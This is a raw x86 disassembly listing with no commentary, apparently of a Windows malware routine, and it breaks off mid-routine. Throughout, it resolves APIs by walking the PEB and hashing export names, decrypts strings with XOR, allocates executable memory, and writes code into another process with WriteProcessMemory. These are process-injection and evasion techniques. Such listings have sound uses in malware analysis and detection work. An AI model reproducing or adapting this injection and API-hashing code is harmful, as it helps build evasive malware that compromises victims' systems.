movaps xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438bd0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438bd0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x70edba9f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438bc3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438ba2
cmp esi, 0xadbd3d02
je 0x438bd7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438b83
mov eax, dword [eax]
jmp 0x438b50
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x16c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x168], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438ca3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438ca3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xfa37da81
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438c96
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438c75
cmp esi, 0x369a2960
je 0x438caa
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438c56
mov eax, dword [eax]
jmp 0x438c23
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x16c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x438cd3
lea eax, [ebp - 0x16c]
jmp 0x43a282
push 0x40
mov edi, fcn.004312c0
push 0x3000
sub edi, 0x431190
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push 0x431190
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0xa4]
add esp, 0xc
add eax, 0x18
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push eax
push dword [ebp - 0xd4]
call edi
test eax, eax
jne 0x4393fa
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438e00
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438e00
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x132e5dda
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438df3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438dd2
cmp esi, 0x9a36022
je 0x438e07
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438db3
mov eax, dword [eax]
jmp 0x438d80
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438ec0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438ec0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x7cca2024
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438eb3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438e92
cmp esi, 0x8597e9a8
je 0x438ec7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438e73
mov eax, dword [eax]
jmp 0x438e40
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xac]
push dword [ebp - 0xd4]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x438f90
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x438f90
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x7fff0670
mov cl, byte [edx]
inc edx
test cl, cl
je 0x438f83
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x438f62
cmp esi, 0x2ad0fec1
je 0x438f97
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x438f43
mov eax, dword [eax]
jmp 0x438f10
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439053
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439053
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xf83d944
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439046
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439025
cmp esi, 0xe3310d8e
je 0x43905a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439006
mov eax, dword [eax]
jmp 0x438fd3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x2c0]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4392b0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4392b0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x35cdb893
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4392a3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439282
cmp esi, 0x934b5d16
je 0x4392b7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439263
mov eax, dword [eax]
jmp 0x439230
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x154], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x150], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439383
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439383
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x8311d1ed
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439376
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439355
cmp esi, 0x32983b84
je 0x43938a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439336
mov eax, dword [eax]
jmp 0x439303
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x154], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x4393b3
lea eax, [ebp - 0x154]
jmp 0x43a282
push 0x40
push 0x3000
push 0x40
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
mov esi, eax
push 0x90
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x40
push esi
push dword [ebp - 0xac]
mov esi, dword [ebp - 0xd4]
push esi
call edi
test eax, eax
jne 0x439aca
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4394d0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4394d0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x748d9a84
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4394c3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4394a2
cmp esi, 0xa49f7b30
je 0x4394d7
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439483
mov eax, dword [eax]
jmp 0x439450
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439590
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439590
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xb6a352be
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439583
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439562
cmp esi, 0x53be2b7e
je 0x439597
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439543
mov eax, dword [eax]
jmp 0x439510
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xac]
push dword [ebp - 0xd4]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439660
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439660
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x2ce6ce10
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439653
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439632
cmp esi, 0x65f3f61
je 0x439667
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439613
mov eax, dword [eax]
jmp 0x4395e0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439723
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439723
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x7a0f168e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439716
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4396f5
cmp esi, 0xac0d7044
je 0x43972a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4396d6
mov eax, dword [eax]
jmp 0x4396a3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x2e0], ecx
mov dword [ebp - 0x2dc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x2e0], xmm1
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439980
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439980
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xd518c810
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439973
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439952
cmp esi, 0xaf81fec3
je 0x439987
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439933
mov eax, dword [eax]
jmp 0x439900
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x15c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x158], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439a53
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439a53
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x643b2240
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439a46
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439a25
cmp esi, 0x972a141
je 0x439a5a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439a06
mov eax, dword [eax]
jmp 0x4399d3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x15c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x439a83
lea eax, [ebp - 0x15c]
jmp 0x43a282
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa8]
lea eax, [ecx + 0x18]
push eax
push ecx
mov ecx, esi
call fcn.004312d0
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439b71
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439b71
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x9777af3
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439b64
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439b43
cmp esi, 0x7563be04
je 0x439b78
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439b24
mov eax, dword [eax]
jmp 0x439af1
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx eax, word [eax + edx]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x439c33
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x439c33
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x4719497f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x439c26
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x439c05
cmp esi, 0x2651e1f3
je 0x439c3a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x439be6
mov eax, dword [eax]
jmp 0x439bb3
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
